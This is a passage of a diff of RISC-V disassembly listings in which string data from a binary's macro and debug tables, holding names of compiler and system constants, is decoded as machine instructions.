-    7374:	465f 544c 3231      	0x3231544c465f
-    737a:	5f38                	lw	a4,120(a4)
-    737c:	414d                	li	sp,19
-    737e:	5f58                	lw	a4,60(a4)
-    7380:	5845                	li	a6,-15
-    7382:	5f50                	lw	a2,60(a4)
-    7384:	205f 3631 3833      	0x38333631205f
-    738a:	0034                	addi	a3,sp,8
-    738c:	5f5f 7468 6e6f      	0x6e6f74685f5f
-    7392:	785f2873          	csrrs	a6,0x785,t5
-    7396:	2029                	jal	73a0 <__stack_size+0x6ba0>
-    7398:	5f5f 7362 6177      	0x617773625f5f
-    739e:	3170                	fld	fa2,224(a0)
-    73a0:	2836                	fld	fa6,328(sp)
-    73a2:	785f 0029 535f      	0x535f0029785f
-    73a8:	45445f43          	0x45445f43
-    73ac:	414c                	lw	a1,4(a0)
-    73ae:	5459                	li	s0,-10
-    73b0:	4d49                	li	s10,18
-    73b2:	5245                	li	tp,-15
-    73b4:	4d5f 5841 3320      	0x332058414d5f
-    73ba:	535f0037          	lui	zero,0x535f0
-    73be:	5359                	li	t1,-10
-    73c0:	5f5f 4544 4146      	0x414645445f5f
-    73c6:	4c55                	li	s8,21
-    73c8:	5f54                	lw	a3,60(a4)
-    73ca:	4346                	lw	t1,80(sp)
-    73cc:	544e                	lw	s0,240(sp)
-    73ce:	5f4c                	lw	a1,60(a4)
-    73d0:	5f48                	lw	a0,60(a4)
-    73d2:	0020                	addi	s0,sp,8
-    73d4:	5f5f 4c46 3154      	0x31544c465f5f
-    73da:	3832                	fld	fa6,296(sp)
-    73dc:	445f 4e45 524f      	0x524f4e45445f
-    73e2:	5f4d                	li	t5,-13
-    73e4:	494d                	li	s2,19
-    73e6:	5f4e                	lw	t5,240(sp)
-    73e8:	205f 2e36 3734      	0x37342e36205f
-    73ee:	3135                	jal	701a <__stack_size+0x681a>
-    73f0:	31313537          	lui	a0,0x31313
-    73f4:	3439                	jal	6e02 <__stack_size+0x6602>
-    73f6:	32303833          	0x32303833
-    73fa:	3135                	jal	7026 <__stack_size+0x6826>
-    73fc:	3031                	jal	6c08 <__stack_size+0x6408>
-    73fe:	3239                	jal	6d0c <__stack_size+0x650c>
-    7400:	3434                	fld	fa3,104(s0)
-    7402:	35393833          	0x35393833
-    7406:	3238                	fld	fa4,96(a2)
-    7408:	3732                	fld	fa4,296(sp)
+    728e:	535f 5f43 5254      	0x52545f43535f
+    7294:	4341                	li	t1,16
+    7296:	5f45                	li	t5,-15
+    7298:	5355                	li	t1,-11
+    729a:	5245                	li	tp,-15
+    729c:	455f 4556 544e      	0x544e4556455f
+    72a2:	4d5f 5841 3920      	0x392058414d5f
+    72a8:	0030                	addi	a2,sp,8
+    72aa:	5f5f 6567 656e      	0x656e65675f5f
+    72b0:	6972                	flw	fs2,28(sp)
+    72b2:	78652863          	0x78652863
+    72b6:	7270                	flw	fa2,100(a2)
+    72b8:	742c                	flw	fa1,104(s0)
+    72ba:	792c                	flw	fa1,112(a0)
+    72bc:	7365                	lui	t1,0xffff9
+    72be:	6e2c                	flw	fa1,88(a2)
+    72c0:	5f20296f          	jal	s2,98b2 <__stack_size+0x90b2>
+    72c4:	656e6547          	0x656e6547
+    72c8:	6972                	flw	fs2,28(sp)
+    72ca:	78652863          	0x78652863
+    72ce:	7270                	flw	fa2,100(a2)
+    72d0:	202c                	fld	fa1,64(s0)
+    72d2:	3a74                	fld	fa3,240(a2)
+    72d4:	7920                	flw	fs0,112(a0)
+    72d6:	7365                	lui	t1,0xffff9
+    72d8:	202c                	fld	fa1,64(s0)
+    72da:	6564                	flw	fs1,76(a0)
+    72dc:	6166                	flw	ft2,88(sp)
+    72de:	6c75                	lui	s8,0x1d
+    72e0:	3a74                	fld	fa3,240(a2)
+    72e2:	6e20                	flw	fs0,88(a2)
+    72e4:	5f00296f          	jal	s2,98d4 <__stack_size+0x90d4>
+    72e8:	465f 544c 3436      	0x3436544c465f
+    72ee:	5f58                	lw	a4,60(a4)
+    72f0:	4148                	lw	a0,4(a0)
+    72f2:	4e495f53          	0x4e495f53
+    72f6:	4946                	lw	s2,80(sp)
+    72f8:	494e                	lw	s2,208(sp)
+    72fa:	5954                	lw	a3,52(a0)
+    72fc:	5f5f 3120 5000      	0x500031205f5f
+    7302:	4854                	lw	a3,20(s0)
+    7304:	4552                	lw	a0,20(sp)
+    7306:	4441                	li	s0,16
+    7308:	455f 5058 494c      	0x494c5058455f
+    730e:	5f544943          	fmadd.q	fs2,fs0,fs5,fa1,rmm
+    7312:	45484353          	0x45484353
+    7316:	2044                	fld	fs1,128(s0)
+    7318:	0032                	c.slli	zero,0xc
+    731a:	465f 5254 4e55      	0x4e555254465f
+    7320:	78302043          	fmadd.s	ft0,ft0,ft3,fa5,rdn
+    7324:	3430                	fld	fa2,104(s0)
+    7326:	3030                	fld	fa2,96(s0)
+    7328:	5f00                	lw	s0,56(a4)
+    732a:	465f 544c 3233      	0x3233544c465f
+    7330:	5f58                	lw	a4,60(a4)
+    7332:	414d                	li	sp,19
+    7334:	5f58                	lw	a4,60(a4)
+    7336:	205f 2e31 3937      	0x39372e31205f
+    733c:	33393637          	lui	a2,0x33393
+    7340:	3331                	jal	704c <__stack_size+0x684c>
+    7342:	3834                	fld	fa3,112(s0)
+    7344:	3236                	fld	ft4,360(sp)
+    7346:	37353133          	0x37353133
+    734a:	3830                	fld	fa2,112(s0)
+    734c:	3431                	jal	6d58 <__stack_size+0x6558>
+    734e:	3235                	jal	6c7a <__stack_size+0x647a>
+    7350:	33323437          	lui	s0,0x33323
+    7354:	37313337          	lui	t1,0x37313
+    7358:	3430                	fld	fa2,104(s0)
+    735a:	65373533          	0x65373533
+    735e:	3830332b          	0x3830332b
+    7362:	3346                	fld	ft6,112(sp)
+    7364:	7832                	flw	fa6,44(sp)
+    7366:	5f00                	lw	s0,56(a4)
+    7368:	705f 7275 3265      	0x32657275705f
+    736e:	5f20                	lw	s0,120(a4)
+    7370:	615f 7474 6972      	0x69727474615f
+    7376:	7562                	flw	fa0,56(sp)
+    7378:	6574                	flw	fa3,76(a0)
+    737a:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    7380:	736e6f63          	bltu	t3,s6,7abe <__stack_size+0x72be>
+    7384:	5f74                	lw	a3,124(a4)
+    7386:	295f 0029 5f5f      	0x5f5f0029295f
+    738c:	656e                	flw	fa0,216(sp)
+    738e:	6465                	lui	s0,0x19
+    7390:	775f 6863 7261      	0x72616863775f
+    7396:	745f 5f00 465f      	0x465f5f00745f
+    739c:	544c                	lw	a1,44(s0)
+    739e:	445f 4345 4d49      	0x4d494345445f
+    73a4:	4c41                	li	s8,16
+    73a6:	445f 4749 5f5f      	0x5f5f4749445f
+    73ac:	3920                	fld	fs0,112(a0)
+    73ae:	4400                	lw	s0,8(s0)
+    73b0:	414d                	li	sp,19
+    73b2:	435f 5254 5f4c      	0x5f4c5254435f
+    73b8:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
+    73bc:	7830                	flw	fa2,112(s0)
+    73be:	3032                	fld	ft0,296(sp)
+    73c0:	5f00                	lw	s0,56(a4)
+    73c2:	5f54                	lw	a3,60(a4)
+    73c4:	5450                	lw	a2,44(s0)
+    73c6:	4452                	lw	s0,20(sp)
+    73c8:	4649                	li	a2,18
+    73ca:	2046                	fld	ft0,80(sp)
+    73cc:	5f00                	lw	s0,56(a4)
+    73ce:	465f 544c 3436      	0x3436544c465f
+    73d4:	5f58                	lw	a4,60(a4)
+    73d6:	5045                	c.li	zero,-15
+    73d8:	4f4c4953          	0x4f4c4953
+    73dc:	5f4e                	lw	t5,240(sp)
+    73de:	205f 2e31 3239      	0x32392e31205f
+    73e4:	3935                	jal	7020 <__stack_size+0x6820>
+    73e6:	3932                	fld	fs2,296(sp)
+    73e8:	3439                	jal	6df6 <__stack_size+0x65f6>
+    73ea:	3334                	fld	fa3,96(a4)
+    73ec:	3738                	fld	fa4,104(a4)
+    73ee:	3332                	fld	ft6,296(sp)
+    73f0:	3835                	jal	6c2c <__stack_size+0x642c>
+    73f2:	3335                	jal	711e <__stack_size+0x691e>
+    73f4:	3530                	fld	fa2,104(a0)
+    73f6:	3935                	jal	7032 <__stack_size+0x6832>
+    73f8:	34393737          	lui	a4,0x34393
+    73fc:	3532                	fld	fa0,296(sp)
+    73fe:	3438                	fld	fa4,104(s0)
+    7400:	3239                	jal	6d0e <__stack_size+0x650e>
+    7402:	65323337          	lui	t1,0x65323
+    7406:	332d                	jal	7130 <__stack_size+0x6930>
+    7408:	4634                	lw	a3,72(a2)
     740a:	3436                	fld	fs0,360(sp)
-    740c:	3536                	fld	fa0,360(sp)
-    740e:	6535                	lui	a0,0xd
-    7410:	342d                	jal	6e3a <__stack_size+0x663a>
-    7412:	3639                	jal	6f20 <__stack_size+0x6720>
-    7414:	4636                	lw	a2,76(sp)
-    7416:	3231                	jal	6d22 <__stack_size+0x6522>
-    7418:	0038                	addi	a4,sp,8
-    741a:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
-    741e:	484d                	li	a6,19
-    7420:	4d50                	lw	a2,28(a0)
-    7422:	4e554f43          	fmadd.q	ft10,fa0,ft5,fs1,rmm
-    7426:	4554                	lw	a3,12(a0)
-    7428:	3352                	fld	ft6,304(sp)
-    742a:	2030                	fld	fa2,64(s0)
-    742c:	3632                	fld	fa2,296(sp)
-    742e:	5f00                	lw	s0,56(a4)
-    7430:	465f 4e49 5449      	0x54494e49465f
-    7436:	5f45                	li	t5,-15
-    7438:	414d                	li	sp,19
-    743a:	4854                	lw	a3,20(s0)
-    743c:	4f5f 4c4e 5f59      	0x5f594c4e4f5f
-    7442:	205f 0030 415f      	0x415f0030205f
-    7448:	4554                	lw	a3,12(a0)
-    744a:	4958                	lw	a4,20(a0)
-    744c:	5f54                	lw	a3,60(a4)
-    744e:	4e49                	li	t3,18
-    7450:	5449                	li	s0,-14
-    7452:	7b20                	flw	fs0,112(a4)
-    7454:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
-    745a:	3020                	fld	fs0,96(s0)
-    745c:	202c                	fld	fa1,64(s0)
-    745e:	554e5f7b          	0x554e5f7b
-    7462:	4c4c                	lw	a1,28(s0)
-    7464:	2c7d                	jal	7722 <__stack_size+0x6f22>
-    7466:	7b20                	flw	fs0,112(a4)
-    7468:	554e5f7b          	0x554e5f7b
-    746c:	4c4c                	lw	a1,28(s0)
-    746e:	2c7d                	jal	772c <__stack_size+0x6f2c>
-    7470:	7b20                	flw	fs0,112(a4)
-    7472:	4e5f 4c55 7d4c      	0x7d4c4c554e5f
-    7478:	202c                	fld	fa1,64(s0)
-    747a:	2c30                	fld	fa2,88(s0)
-    747c:	3020                	fld	fs0,96(s0)
-    747e:	7d7d                	lui	s10,0xfffff
-    7480:	5500                	lw	s0,40(a0)
-    7482:	4e49                	li	t3,18
-    7484:	3854                	fld	fa3,176(s0)
-    7486:	4d5f 5841 5f20      	0x5f2058414d5f
-    748c:	555f 4e49 3854      	0x38544e49555f
-    7492:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    7498:	5f00                	lw	s0,56(a4)
-    749a:	535f 5453 2052      	0x20525453535f
-    74a0:	7830                	flw	fa2,112(s0)
-    74a2:	3230                	fld	fa2,96(a2)
-    74a4:	3030                	fld	fa2,96(s0)
-    74a6:	5f00                	lw	s0,56(a4)
-    74a8:	4c5f4353          	0x4c5f4353
-    74ac:	5645                	li	a2,-15
-    74ae:	4c45                	li	s8,17
-    74b0:	5f34                	lw	a3,120(a4)
-    74b2:	48434143          	fmadd.s	ft2,ft6,ft4,fs1,rmm
-    74b6:	5f45                	li	t5,-15
-    74b8:	494c                	lw	a1,20(a0)
-    74ba:	454e                	lw	a0,208(sp)
-    74bc:	455a4953          	0x455a4953
-    74c0:	3120                	fld	fs0,96(a0)
-    74c2:	5f003933          	0x5f003933
-    74c6:	565f4353          	0x565f4353
-    74ca:	504c5f37          	lui	t5,0x504c5
-    74ce:	3436                	fld	fs0,360(sp)
-    74d0:	4f5f 4646 3436      	0x343646464f5f
-    74d6:	3920                	fld	fs0,112(a0)
-    74d8:	0034                	addi	a3,sp,8
-    74da:	46495f53          	0x46495f53
-    74de:	544d                	li	s0,-13
-    74e0:	5f20                	lw	s0,120(a4)
-    74e2:	4649                	li	a2,18
-    74e4:	544d                	li	s0,-13
-    74e6:	5f00                	lw	s0,56(a4)
-    74e8:	535f 4454 5f43      	0x5f434454535f
-    74ee:	4556                	lw	a0,84(sp)
-    74f0:	5352                	lw	t1,52(sp)
-    74f2:	4f49                	li	t5,18
-    74f4:	5f4e                	lw	t5,240(sp)
-    74f6:	205f 3032 3731      	0x37313032205f
-    74fc:	3031                	jal	6d08 <__stack_size+0x6508>
-    74fe:	004c                	addi	a1,sp,4
-    7500:	535f 5f43 4342      	0x43425f43535f
-    7506:	535f 5254 4e49      	0x4e495254535f
-    750c:	414d5f47          	fmsub.s	ft10,fs10,fs4,fs0,unknown
-    7510:	2058                	fld	fa4,128(s0)
-    7512:	3036                	fld	ft0,360(sp)
-    7514:	5f00                	lw	s0,56(a4)
-    7516:	4350                	lw	a2,4(a4)
-    7518:	4d5f 5841 495f      	0x495f58414d5f
-    751e:	504e                	0x504e
-    7520:	5455                	li	s0,-11
-    7522:	3220                	fld	fs0,96(a2)
-    7524:	5f00                	lw	s0,56(a4)
-    7526:	735f 6566 666f      	0x666f6566735f
-    752c:	7028                	flw	fa0,96(s0)
-    752e:	2029                	jal	7538 <__stack_size+0x6d38>
-    7530:	2828                	fld	fa0,80(s0)
-    7532:	6e69                	lui	t3,0x1a
-    7534:	2974                	fld	fa3,208(a0)
-    7536:	2828                	fld	fa0,80(s0)
-    7538:	7028                	flw	fa0,96(s0)
-    753a:	2d29                	jal	7b54 <__stack_size+0x7354>
-    753c:	5f3e                	lw	t5,236(sp)
-    753e:	6c66                	flw	fs8,88(sp)
-    7540:	6761                	lui	a4,0x18
-    7542:	20262073          	csrs	hedeleg,a2
-    7546:	5f5f 4553 464f      	0x464f45535f5f
-    754c:	2029                	jal	7556 <__stack_size+0x6d56>
-    754e:	3d21                	jal	7366 <__stack_size+0x6b66>
-    7550:	3020                	fld	fs0,96(s0)
-    7552:	2929                	jal	796c <__stack_size+0x716c>
-    7554:	5500                	lw	s0,40(a0)
-    7556:	4e49                	li	t3,18
-    7558:	3854                	fld	fa3,176(s0)
-    755a:	4d5f 5841 5f00      	0x5f0058414d5f
-    7560:	4350                	lw	a2,4(a4)
-    7562:	505f 4952 5f4f      	0x5f4f4952505f
-    7568:	4f49                	li	t5,18
-    756a:	3120                	fld	fs0,96(a0)
-    756c:	0030                	addi	a2,sp,8
-    756e:	5f5f 6164 6464      	0x646461645f5f
-    7574:	5f72                	lw	t5,60(sp)
-    7576:	5f74                	lw	a3,124(a4)
-    7578:	6564                	flw	fs1,76(a0)
-    757a:	6966                	flw	fs2,88(sp)
-    757c:	656e                	flw	fa0,216(sp)
-    757e:	2064                	fld	fs1,192(s0)
-    7580:	5f00                	lw	s0,56(a4)
-    7582:	4e5f4353          	0x4e5f4353
-    7586:	5250                	lw	a2,36(a2)
-    7588:	5345434f          	fnmadd.d	ft6,fa0,fs4,fa0,rmm
-    758c:	53524f53          	0x53524f53
-    7590:	4f5f 4c4e 204e      	0x204e4c4e4f5f
-    7596:	3031                	jal	6da2 <__stack_size+0x65a2>
-    7598:	5f00                	lw	s0,56(a4)
-    759a:	495f 544e 3436      	0x3436544e495f
-    75a0:	435f 6328 2029      	0x20296328435f
-    75a6:	23232063          	0x23232063
-    75aa:	4c20                	lw	s0,88(s0)
-    75ac:	004c                	addi	a1,sp,4
-    75ae:	7269                	lui	tp,0xffffa
-    75b0:	5f71                	li	t5,-4
-    75b2:	6c637963          	bgeu	t1,t1,7c84 <__stack_size+0x7484>
-    75b6:	5f65                	li	t5,-7
-    75b8:	696d                	lui	s2,0x1b
-    75ba:	006e                	c.slli	zero,0x1b
-    75bc:	5441                	li	s0,-16
-    75be:	455f 4341 4543      	0x45434341455f
-    75c4:	31205353          	0x31205353
-    75c8:	5000                	lw	s0,32(s0)
-    75ca:	435f4d57          	0x435f4d57
-    75ce:	4746                	lw	a4,80(sp)
-    75d0:	445f 4745 494c      	0x494c4745445f
-    75d6:	4354                	lw	a3,4(a4)
-    75d8:	2048                	fld	fa0,128(s0)
-    75da:	7830                	flw	fa2,112(s0)
-    75dc:	3030                	fld	fa2,96(s0)
-    75de:	3030                	fld	fa2,96(s0)
-    75e0:	3430                	fld	fa2,104(s0)
-    75e2:	3030                	fld	fa2,96(s0)
-    75e4:	5000                	lw	s0,32(s0)
-    75e6:	435f4d57          	0x435f4d57
-    75ea:	504d                	c.li	zero,-13
-    75ec:	78302033          	0x78302033
-    75f0:	4332                	lw	t1,12(sp)
-    75f2:	5f00                	lw	s0,56(a4)
-    75f4:	4552                	lw	a0,20(sp)
-    75f6:	28343647          	fmsub.s	fa2,fs0,ft3,ft5,rup
-    75fa:	6162                	flw	ft2,24(sp)
-    75fc:	6f2c6573          	csrrsi	a0,0x6f2,24
-    7600:	6666                	flw	fa2,88(sp)
-    7602:	29746573          	csrrsi	a0,0x297,8
-    7606:	2820                	fld	fs0,80(s0)
-    7608:	282a                	fld	fa6,136(sp)
-    760a:	6f76                	flw	ft10,92(sp)
-    760c:	616c                	flw	fa1,68(a0)
-    760e:	6974                	flw	fa3,84(a0)
-    7610:	656c                	flw	fa1,76(a0)
-    7612:	7520                	flw	fs0,104(a0)
-    7614:	6e69                	lui	t3,0x1a
-    7616:	3674                	fld	fa3,232(a2)
-    7618:	5f34                	lw	a3,120(a4)
-    761a:	2074                	fld	fa3,192(s0)
-    761c:	292a                	fld	fs2,136(sp)
-    761e:	2828                	fld	fa0,80(s0)
-    7620:	6162                	flw	ft2,24(sp)
-    7622:	20296573          	csrrsi	a0,hedeleg,18
-    7626:	6f28202b          	0x6f28202b
-    762a:	6666                	flw	fa2,88(sp)
-    762c:	29746573          	csrrsi	a0,0x297,8
-    7630:	2929                	jal	7a4a <__stack_size+0x724a>
-    7632:	5f00                	lw	s0,56(a4)
-    7634:	5f535953          	0x5f535953
-    7638:	535f 4454 4e49      	0x4e494454535f
-    763e:	5f54                	lw	a3,60(a4)
-    7640:	2048                	fld	fa0,128(s0)
-    7642:	5f00                	lw	s0,56(a4)
-    7644:	585f 5453 4952      	0x49525453585f
-    764a:	474e                	lw	a4,208(sp)
-    764c:	7828                	flw	fa0,112(s0)
-    764e:	2029                	jal	7658 <__stack_size+0x6e58>
-    7650:	5f5f 5453 4952      	0x495254535f5f
-    7656:	474e                	lw	a4,208(sp)
-    7658:	7828                	flw	fa0,112(s0)
-    765a:	0029                	c.nop	10
-    765c:	5f5f 4353 5343      	0x534343535f5f
-    7662:	4449                	li	s0,18
-    7664:	7328                	flw	fa0,96(a4)
-    7666:	2029                	jal	7670 <__stack_size+0x6e70>
-    7668:	75727473          	csrrci	s0,0x757,4
-    766c:	5f207463          	bgeu	zero,s2,7c54 <__stack_size+0x7454>
-    7670:	685f 6361 006b      	0x6b6361685f
-    7676:	5f5f 4347 5f43      	0x5f4343475f5f
-    767c:	5441                	li	s0,-16
-    767e:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    7682:	425f 4f4f 5f4c      	0x5f4c4f4f425f
-    7688:	4f4c                	lw	a1,28(a4)
-    768a:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
-    768e:	4552                	lw	a0,20(sp)
-    7690:	2045                	jal	7730 <__stack_size+0x6f30>
-    7692:	0031                	c.nop	12
-    7694:	52495f53          	0x52495f53
-    7698:	4145                	li	sp,17
-    769a:	2044                	fld	fs1,128(s0)
-    769c:	3030                	fld	fa2,96(s0)
-    769e:	3030                	fld	fa2,96(s0)
-    76a0:	3034                	fld	fa3,96(s0)
-    76a2:	0030                	addi	a2,sp,8
-    76a4:	5f5f 4e49 5f54      	0x5f544e495f5f
-    76aa:	4146                	lw	sp,80(sp)
-    76ac:	32335453          	0x32335453
-    76b0:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    76b6:	3020                	fld	fs0,96(s0)
-    76b8:	3778                	fld	fa4,232(a4)
-    76ba:	6666                	flw	fa2,88(sp)
-    76bc:	6666                	flw	fa2,88(sp)
-    76be:	6666                	flw	fa2,88(sp)
-    76c0:	0066                	c.slli	zero,0x19
-    76c2:	4c50                	lw	a2,28(s0)
-    76c4:	4349                	li	t1,18
-    76c6:	455f 5f4e 4853      	0x48535f4e455f
-    76cc:	4649                	li	a2,18
-    76ce:	5f54                	lw	a3,60(a4)
-    76d0:	4550                	lw	a2,12(a0)
-    76d2:	5f52                	lw	t5,52(sp)
-    76d4:	4154                	lw	a3,4(a0)
-    76d6:	4752                	lw	a4,20(sp)
-    76d8:	5445                	li	s0,-15
-    76da:	3120                	fld	fs0,96(a0)
-    76dc:	5f00                	lw	s0,56(a4)
-    76de:	465f 544c 4d5f      	0x4d5f544c465f
-    76e4:	5841                	li	a6,-16
-    76e6:	315f 5f30 5845      	0x58455f30315f
-    76ec:	5f50                	lw	a2,60(a4)
-    76ee:	205f 3833 4f00      	0x4f003833205f
-    76f4:	455f 4358 204c      	0x204c4358455f
-    76fa:	465f 5845 4c43      	0x4c435845465f
-    7700:	5f00                	lw	s0,56(a4)
-    7702:	4e49                	li	t3,18
-    7704:	3154                	fld	fa3,160(a0)
-    7706:	5f36                	lw	t5,108(sp)
-    7708:	5f54                	lw	a3,60(a4)
-    770a:	4544                	lw	s1,12(a0)
-    770c:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    7710:	4445                	li	s0,17
-    7712:	0020                	addi	s0,sp,8
-    7714:	5a4d                	li	s4,-13
-    7716:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
-    771a:	4959                	li	s2,22
-    771c:	4c45                	li	s8,17
-    771e:	2844                	fld	fs1,144(s0)
-    7720:	2029                	jal	772a <__stack_size+0x6f2a>
-    7722:	7361                	lui	t1,0xffff8
-    7724:	206d                	jal	77ce <__stack_size+0x6fce>
-    7726:	6f76                	flw	ft10,92(sp)
-    7728:	616c                	flw	fa1,68(a0)
-    772a:	6974                	flw	fa3,84(a0)
-    772c:	656c                	flw	fa1,76(a0)
-    772e:	2820                	fld	fs0,80(s0)
-    7730:	6c22                	flw	fs8,8(sp)
-    7732:	2069                	jal	77bc <__stack_size+0x6fbc>
-    7734:	3061                	jal	6fbc <__stack_size+0x67bc>
-    7736:	202c                	fld	fa1,64(s0)
-    7738:	3b30                	fld	fa2,112(a4)
-    773a:	2022                	fld	ft0,8(sp)
-    773c:	7a6d                	lui	s4,0xffffb
-    773e:	20656e6f          	jal	t3,5d944 <__stack_size+0x5d144>
-    7742:	203a                	fld	ft0,392(sp)
-    7744:	203a                	fld	ft0,392(sp)
-    7746:	203a                	fld	ft0,392(sp)
-    7748:	6122                	flw	ft2,8(sp)
-    774a:	2230                	fld	fa2,64(a2)
-    774c:	3b29                	jal	7466 <__stack_size+0x6c66>
-    774e:	5700                	lw	s0,40(a4)
-    7750:	4e49                	li	t3,18
-    7752:	5f54                	lw	a3,60(a4)
-    7754:	494d                	li	s2,19
-    7756:	204e                	fld	ft0,208(sp)
-    7758:	5f5f 4957 544e      	0x544e49575f5f
-    775e:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-    7764:	5f00                	lw	s0,56(a4)
-    7766:	415f 5454 4952      	0x49525454415f
-    776c:	5542                	lw	a0,48(sp)
-    776e:	4554                	lw	a3,12(a0)
-    7770:	495f 504d 5255      	0x5255504d495f
-    7776:	5f45                	li	t5,-15
-    7778:	5450                	lw	a2,44(s0)
-    777a:	5f52                	lw	t5,52(sp)
-    777c:	205f 5f00 4955      	0x49555f00205f
-    7782:	544e                	lw	s0,240(sp)
-    7784:	414d                	li	sp,19
-    7786:	5f58                	lw	a4,60(a4)
-    7788:	5f54                	lw	a3,60(a4)
-    778a:	4544                	lw	s1,12(a0)
-    778c:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    7790:	4445                	li	s0,17
-    7792:	0020                	addi	s0,sp,8
-    7794:	6572                	flw	fa0,28(sp)
-    7796:	6461                	lui	s0,0x18
-    7798:	696c                	flw	fa1,84(a0)
-    779a:	656e                	flw	fa0,216(sp)
-    779c:	5f00                	lw	s0,56(a4)
-    779e:	545f4353          	0x545f4353
-    77a2:	5248                	lw	a0,36(a2)
-    77a4:	4145                	li	sp,17
-    77a6:	5f44                	lw	s1,60(a4)
-    77a8:	5250                	lw	a2,36(a2)
-    77aa:	4f49                	li	t5,18
-    77ac:	435f 4945 494c      	0x494c4945435f
-    77b2:	474e                	lw	a4,208(sp)
-    77b4:	5f20                	lw	s0,120(a4)
-    77b6:	545f4353          	0x545f4353
-    77ba:	5248                	lw	a0,36(a2)
-    77bc:	4145                	li	sp,17
-    77be:	5f44                	lw	s1,60(a4)
-    77c0:	5250                	lw	a2,36(a2)
-    77c2:	4f49                	li	t5,18
-    77c4:	505f 4f52 4554      	0x45544f52505f
-    77ca:	50005443          	fmadd.s	fs0,ft0,ft0,fa0,unknown
-    77ce:	435f4d57          	0x435f4d57
-    77d2:	504d                	c.li	zero,-13
-    77d4:	2032                	fld	ft0,264(sp)
-    77d6:	7830                	flw	fa2,112(s0)
-    77d8:	3832                	fld	fa6,296(sp)
-    77da:	4300                	lw	s0,0(a4)
-    77dc:	4d5f5253          	0x4d5f5253
-    77e0:	5048                	lw	a0,36(s0)
-    77e2:	434d                	li	t1,19
-    77e4:	544e554f          	0x544e554f
-    77e8:	5245                	li	tp,-15
-    77ea:	3932                	fld	fs2,296(sp)
-    77ec:	3220                	fld	fs0,96(a2)
-    77ee:	0035                	c.nop	13
-    77f0:	525f 4545 544e      	0x544e4545525f
-    77f6:	435f 4548 4b43      	0x4b434548435f
-    77fc:	4d5f 5349 2843      	0x284353494d5f
-    7802:	7470                	flw	fa2,108(s0)
-    7804:	2972                	fld	fs2,280(sp)
-    7806:	0020                	addi	s0,sp,8
-    7808:	4d50                	lw	a2,28(a0)
-    780a:	5f50                	lw	a2,60(a4)
-    780c:	2058                	fld	fa4,128(s0)
-    780e:	3c31                	jal	722a <__stack_size+0x6a2a>
-    7810:	323c                	fld	fa5,96(a2)
-    7812:	5f00                	lw	s0,56(a4)
-    7814:	544e4157          	0x544e4157
-    7818:	495f 5f4f 4f4c      	0x4f4c5f4f495f
-    781e:	474e                	lw	a4,208(sp)
-    7820:	4c5f 4e4f 2047      	0x20474e4f4c5f
-    7826:	0031                	c.nop	12
-    7828:	5246                	lw	tp,112(sp)
-    782a:	4145                	li	sp,17
-    782c:	2044                	fld	fs1,128(s0)
-    782e:	465f 4552 4441      	0x44414552465f
-    7834:	5f00                	lw	s0,56(a4)
-    7836:	725f 7369 7663      	0x76637369725f
-    783c:	635f 6d6f 7270      	0x72706d6f635f
-    7842:	7365                	lui	t1,0xffff9
-    7844:	20646573          	csrrsi	a0,0x206,8
-    7848:	0031                	c.nop	12
-    784a:	535f 5f43 4f58      	0x4f585f43535f
-    7850:	4550                	lw	a2,12(a0)
-    7852:	5f4e                	lw	t5,240(sp)
-    7854:	4e55                	li	t3,21
-    7856:	5849                	li	a6,-14
-    7858:	3120                	fld	fs0,96(a0)
-    785a:	3530                	fld	fa2,104(a0)
-    785c:	5f00                	lw	s0,56(a4)
-    785e:	4146                	lw	sp,80(sp)
-    7860:	5050                	lw	a2,36(s0)
-    7862:	4e45                	li	t3,17
-    7864:	2044                	fld	fs1,128(s0)
-    7866:	7830                	flw	fa2,112(s0)
-    7868:	3030                	fld	fa2,96(s0)
-    786a:	3830                	fld	fa2,112(s0)
-    786c:	5f00                	lw	s0,56(a4)
-    786e:	465f 544c 3436      	0x3436544c465f
-    7874:	5f58                	lw	a4,60(a4)
-    7876:	4544                	lw	s1,12(a0)
-    7878:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
-    787c:	5f4c                	lw	a1,60(a4)
-    787e:	4944                	lw	s1,20(a0)
-    7880:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    7884:	5f003633          	0x5f003633
-    7888:	585f4353          	0x585f4353
-    788c:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
-    7890:	525f 4145 544c      	0x544c4145525f
-    7896:	4d49                	li	s10,18
-    7898:	5f45                	li	t5,-15
-    789a:	4854                	lw	a3,20(s0)
-    789c:	4552                	lw	a0,20(sp)
-    789e:	4441                	li	s0,16
-    78a0:	30312053          	0x30312053
-    78a4:	0032                	c.slli	zero,0xc
-    78a6:	5f5f 4953 5f47      	0x5f4749535f5f
-    78ac:	5441                	li	s0,-16
-    78ae:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    78b2:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    78b8:	3020                	fld	fs0,96(s0)
-    78ba:	3778                	fld	fa4,232(a4)
-    78bc:	6666                	flw	fa2,88(sp)
-    78be:	6666                	flw	fa2,88(sp)
-    78c0:	6666                	flw	fa2,88(sp)
-    78c2:	0066                	c.slli	zero,0x19
-    78c4:	4955                	li	s2,21
-    78c6:	544e                	lw	s0,240(sp)
-    78c8:	4c5f 4145 5453      	0x545341454c5f
-    78ce:	3631                	jal	73da <__stack_size+0x6bda>
-    78d0:	4d5f 5841 5f20      	0x5f2058414d5f
-    78d6:	555f 4e49 5f54      	0x5f544e49555f
-    78dc:	454c                	lw	a1,12(a0)
-    78de:	5341                	li	t1,-16
-    78e0:	3154                	fld	fa3,160(a0)
-    78e2:	5f36                	lw	t5,108(sp)
-    78e4:	414d                	li	sp,19
-    78e6:	5f58                	lw	a4,60(a4)
-    78e8:	005f 535f 5359      	0x5359535f005f
